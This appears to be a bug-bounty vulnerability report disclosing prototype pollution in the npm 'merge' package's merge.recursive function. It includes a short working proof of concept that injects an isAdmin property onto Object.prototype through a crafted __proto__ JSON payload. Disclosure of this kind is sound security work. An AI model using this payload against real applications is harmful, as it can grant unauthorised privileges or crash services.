How it was found

I would like to report prototype pollution in merge. It allows an attacker to inject properties on Object.prototype.

Module

module name: merge version: 1.2.0 npm page: https://www.npmjs.com/package/merge

Module Description

Merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Module Stats

1,822,662 downloads in the last week

Vulnerability

Vulnerability Description

This is a variant of this vulnerability: https://hackerone.com/reports/310443

The merge.recursive function can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

Craft an object of form {__proto__: {...}} and send it to merge.recursive.

let merge = require('merge');
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge.recursive({}, payload);
console.log({}.isAdmin); // true

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Impact

Denial of service, possibly more depending on the application. See https://hackerone.com/reports/310443